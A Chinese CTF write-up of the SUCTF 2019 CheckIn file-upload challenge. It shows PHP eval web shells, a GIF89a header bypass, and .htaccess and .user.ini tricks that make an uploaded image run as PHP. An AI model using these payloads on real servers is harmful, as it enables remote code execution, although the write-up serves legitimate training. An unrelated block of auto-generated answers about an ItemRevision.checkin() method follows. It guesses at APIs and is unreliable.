[SUCTF 2019]CheckIn (.htaccess和.user.ini)

evil.php

<?php eval($_POST['evil'])?>

在这里插入图片描述
抓包修改Content-Type: image/jpeg
仍然是后缀名不合法

更改后缀名为php3、php4、phtml等都不行
将后缀名改成jpg(虽然绕过了,但是解析不了,所以没啥用)
在这里插入图片描述
换一个一句话木马

<script language="php">eval($_POST['evil'])</script>

在这里插入图片描述
进行了文件头的校验

GIF89a? <script language="php">eval($_POST['evil'])</script>

一般都是直接用这个就行了
在这里插入图片描述
成功了,但是无法解析

尝试.htaccess和.user.ini

.htaccess

<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

需要加个文件头绕过
GIF89a? 
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

意思是如果文件中有一个evil.jpg的文件,他就会被解析为.php
在这里插入图片描述
上传成功

访问evil.jpg即
http://ec60414d-2ab8-462c-bb74-bc60f6a5597a.node4.buuoj.cn:81/uploads/uploads/c47b21fcf8f0bc8b3920541abd8024fd/evil.jpg

然后尝试使用antsword连接,但是发现连不上,不太确定哪里出了问题

尝试.user.ini

auto_prepend_file和auto_append_file
他们的作用就是指定一个文件(1.jpg),那么该文件就会被包含在要执行的php文件中(index.php)

.user.ini

GIF89a?
auto_prepend_file=evil.jpg

在这里插入图片描述
上传成功

但不知道什么原因(可能是时间限制,自动删除了),我们刚才上传的evil.jpg不在了,重新上传一下即可

然后访问http://ec60414d-2ab8-462c-bb74-bc60f6a5597a.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
用antsword连接即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: ItemRevision.checkin() 是一个 Python 函数,它可能属于一个更大的程序或库。使用这个函数的具体方法取决于它的实现和上下文,您可以查看相关文档和代码以了解详情。 如果您有更具体的问题,请提供更多信息,以便我们能够更好地帮助您。 ### 回答2: ItemRevision.checkin()是一个方法,可以用于将物品的修订版本提交到版本控制系统中。下面是使用ItemRevision.checkin()的步骤: 1. 首先,确保你已经创建了一个物品修订版本对象。你可以使用相关的API(例如createItemRevision()方法)来创建一个修订版本对象。 2. 在创建修订版本对象后,你可以使用checkin()方法来提交修订版本。该方法接受一些参数来指定提交的行为。例如,你可以指定提交的注释信息,以便在日志中记录该修订版本的重要信息。 3. 在调用checkin()方法之前,你可以在修订版本对象上执行一些其他的操作,例如对物品进行一些修改或者添加附件。 4. 调用checkin()方法后,系统会将修订版本提交到版本控制系统中,并且生成一个唯一的修订版本号。 5. 你可以根据需要进一步处理该修订版本,例如你可以将其关联到其他相关的物品或者任务中。 注意事项: - 在使用checkin()方法之前,确保已经进行了合适的权限控制和安全验证,以确保只有授权的用户可以提交修订版本。 - 在提交修订版本之前,建议对修订版本对象和相关的物品进行一次完整的测试和验证,确保没有错误或者遗漏。 - 可以使用相关的API来查询和检索已经提交的修订版本的信息,例如getRevision()方法。 总结: 使用ItemRevision.checkin()方法可以方便地将物品的修订版本提交到版本控制系统中,同时也提供了一些参数和步骤来定制提交行为。根据实际需求,你可以在提交之前进行其他的操作,并且可以进一步处理提交后的修订版本。 ### 回答3: ItemRevision.checkin()是一种方法,用于在软件开发过程中将更新的版本或修改的文件添加到版本控制系统中。该方法通常用于团队协作开发或版本追踪。 在使用ItemRevision.checkin()之前,首先需要使用版本控制系统创建一个项目。然后,在本地计算机上克隆或检出该项目的副本。接下来,对项目进行修改或添加新文件。 当完成对项目的修改后,可以使用ItemRevision.checkin()方法将文件或更新的版本提交至版本控制系统。这个方法会向版本控制系统提供提交的文件或版本的信息,例如作者、提交时间、注释等。提交后的文件将成为项目的新版本并保存在版本控制系统中。 使用ItemRevision.checkin()方法的一般步骤如下: 1. 执行ItemRevision.checkin()方法之前,确保项目的所有修改都已保存和提交,并且已经进行了必要的测试和验证。 2. 调用ItemRevision.checkin()方法,并传入需要提交的文件或版本的相关信息,例如作者、提交时间和注释等。 3. 版本控制系统将保存提交的文件或版本,并为其生成一个独特的版本号或标识符。 4. 可以使用版本控制系统的其他功能,如查看提交历史、比较版本、回滚到先前版本等。 总的来说,ItemRevision.checkin()方法是将更新的文件或修改的版本添加到版本控制系统的一种操作。它有助于团队协作开发,追踪文件的修改历史,并保持项目的版本控制和管理。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

开心星人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值